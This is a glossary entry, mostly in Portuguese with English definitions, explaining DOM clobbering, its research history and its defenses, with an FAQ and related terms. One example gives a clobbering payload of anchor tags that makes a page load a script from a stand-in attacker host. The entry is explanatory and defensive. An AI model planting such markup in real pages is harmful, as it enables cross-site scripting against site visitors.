DOM Clobbering
O que é DOM Clobbering?
DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
● Exemplos
- 01
A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.
- 02
A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.
● Perguntas frequentes
O que é DOM Clobbering?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. Pertence à categoria Segurança de aplicações da cibersegurança.
O que significa DOM Clobbering?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
Como funciona DOM Clobbering?
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
Como se defender contra DOM Clobbering?
As defesas contra DOM Clobbering costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.
Quais são outros nomes para DOM Clobbering?
Nomes alternativos comuns: HTML namespace pollution, Named-element global hijack.
● Termos relacionados
- attacks№ 265
Cross-Site Scripting (XSS)
Vulnerabilidade web que permite a um atacante injetar scripts maliciosos em páginas visitadas por outros utilizadores, executados no browser da vítima sob a origem do site.
- attacks№ 1225
XSS Armazenado
Vulnerabilidade persistente de cross-site scripting: o script do atacante é guardado no servidor e executado no navegador de cada visitante.
- appsec№ 237
Política de Segurança de Conteúdo (CSP)
Cabeçalho HTTP que informa ao navegador quais origens de scripts, estilos, frames e outros conteúdos são permitidas, limitando o impacto de XSS e injeções de dados.
- appsec№ 1302
Trusted Types
API do navegador e diretiva CSP que evita XSS baseado em DOM exigindo que sinks perigosos recebam valores tipados, validados por politica, em vez de strings cruas.
- appsec№ 599
Validação de entrada
Verificação no servidor que confirma se toda entrada não confiável corresponde ao tipo, comprimento, intervalo, formato e conjunto de valores esperados antes do processamento.
- appsec№ 866
Codificação de saída
Transformação de dados não confiáveis em uma forma segura para um contexto de saída específico (HTML, JavaScript, URL, SQL, shell) para que não escapem e sejam executados como código.